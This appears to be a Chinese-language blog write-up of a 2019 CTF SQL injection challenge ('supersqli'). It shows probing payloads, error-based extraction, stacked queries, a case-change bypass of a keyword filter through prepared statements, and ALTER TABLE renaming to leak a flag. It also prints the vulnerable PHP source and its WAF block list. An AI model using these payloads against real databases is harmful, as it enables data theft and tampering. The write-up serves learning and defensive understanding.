2019强网杯"随便注"学习

文章最后更新时间为:2019年08月20日 14:56:01

好多知识不接触很容易就忘了,发现多写下来还真是好习惯。

练练ctf,发现这道题,似曾相识,当然了,还是没做出来,被自己菜哭。

题目是今年强网杯的一道题,我是在https://buuoj.cn练习的,推荐自己使用docker搭建:https://github.com/glzjin/qwb_2019_supersqli

1. 自己解题思考的过程

打开题目是这样的:

很显然提示注入,于是尝试基本的姿势:
1. 探测有无注入

1'   报错
1'#  正常且为True
1' and 1=1#  正常且为True
1' and 1=2#  正常且为False

可以得知存在注入,并且参数使用单引号闭合。

2. 尝试获取列数

1' order by 1#
1' order by 2#
1' order by 3#  报错

得出列数为2

3. 尝试获取数据库名,用户等基本信息

一开始想试试union查询

-1' union se/**/lect null, user()#

结果提示:

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

这里过滤了select,也没有发现绕过select的地方(大小写,加注释)。

于是可以考虑一下报错注入,这里限制了update,那么就不用updatexml,用extractvalue

用户名
1' and (extractvalue(1,concat(0x7e,user(),0x7e)));#
error 1105 : XPATH syntax error: '~root@localhost~'

数据库

1' and (extractvalue(1,concat(0x7e,database(),0x7e)));#
error 1105 : XPATH syntax error: '~supersqli~'

版本
1' and (extractvalue(1,concat(0x7e,version(),0x7e)));#
error 1105 : XPATH syntax error: '~10.3.15-MariaDB~'

到这里可以查出简单的信息,但是过滤了select,似乎无法进一步查表查列了。

2. 利用堆叠注入绕过过滤

对堆叠注入不是特别熟悉,看了writeup才有恍然大悟的感觉。

就是一次执行多个命令。

1. 接下来我们尝试堆叠注入能否可行。

-1';show tables#

结果:
array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}

2. 堆叠注入可行,然后看一下表的字段

-1';desc `1919810931114514`#
-1';desc `words`#

# 也可以用以下方式
-1';show columns from `1919810931114514`#
-1';show columns from `words`#

# 注意,以上表名要加反引号

结果:

3. 查数据

上一步我们可以得知flag存在于supersqli数据库中的1919810931114514表的flag字段。

接下来要读取此字段内的数据,我们要执行的目标语句是:

select * from `1919810931114514`;

这里需要绕过select的限制,我们可以使用预编译的方式。

预编译相关语法如下:

set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句

直接看payload就懂了:

-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

拆分开来如下
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
#

结果为:

strstr($inject, "set") && strstr($inject, "prepare")

这里检测到了set和prepare关键词,但strstr这个函数并不能区分大小写,我们将其大写即可。

-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#

拆分开来如下:
-1';
Set @sql = CONCAT('se','lect * from `1919810931114514`;');
Prepare stmt from @sql;
EXECUTE stmt;
#

结果为:

绕过select还有第二个方法,更改表名列名

由上面的探测我们可以猜测出这里会查询出words表的data列的结果。也就是类似于下面的sql语句:

select * from words where id = '';

我们将表1919810931114514名字改为words,flag列名字改为id,那么就能得到flag的内容了。

修改表名和列名的语法如下:

修改表名(将表名user改为users)
alter table user rename to users;

修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);

最终payload如下:

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

拆分开来如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
#

然后使用1' or 1=1#即可查询出flag

3. 题目源码分析

从上面的docker里面可以看到题目的源码如下:

<html>

<head>
    <meta charset="UTF-8">
    <title>easy_sql</title>
</head>

<body>
<h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">
    姿势: <input type="text" name="inject" value="1">
    <input type="submit">
</form>

<pre>
<?php
function waf1($inject) {
    preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {
    strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {
    $id = $_GET['inject'];
    waf1($id);
    waf2($id);
    $mysqli = new mysqli("127.0.0.1","root","root","supersqli");
    //多条sql语句
    $sql = "select * from `words` where id = '$id';";
    $res = $mysqli->multi_query($sql);
    if ($res){//使用multi_query()执行一条或多条sql语句
      do{
        if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果
          while ($row = $rs->fetch_row()){
            var_dump($row);
            echo "<br>";
          }
          $rs->Close(); //关闭结果集
          if ($mysqli->more_results()){  //判断是否还有更多结果集
            echo "<hr>";
          }
        }
      }while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值
    } else {
      echo "error ".$mysqli->errno." : ".$mysqli->error;
    }
    $mysqli->close();  //关闭数据库连接
}
?>
</pre>

</body>

</html>

很明显的地方,使用multi_query()执行一条或多条sql语句,然后将结果全部输出。

总之看到multi_query()就多长个心眼吧。

4. 参考

1 + 7 =
3 评论
    wh1sper Chrome 79 Windows 10
    2020年01月31日 回复

    写的很好,真的是很好,非常详细,萌新学到了东西,我在我的博客转了一篇,师傅觉得不太好我可以删掉

      saucerman Chrome 79 Windows 10
      2020年02月01日 回复

      @wh1sper 没问题

    repostone Chrome 63 Windows 8.1
    2019年08月30日 回复

    非技术的路过。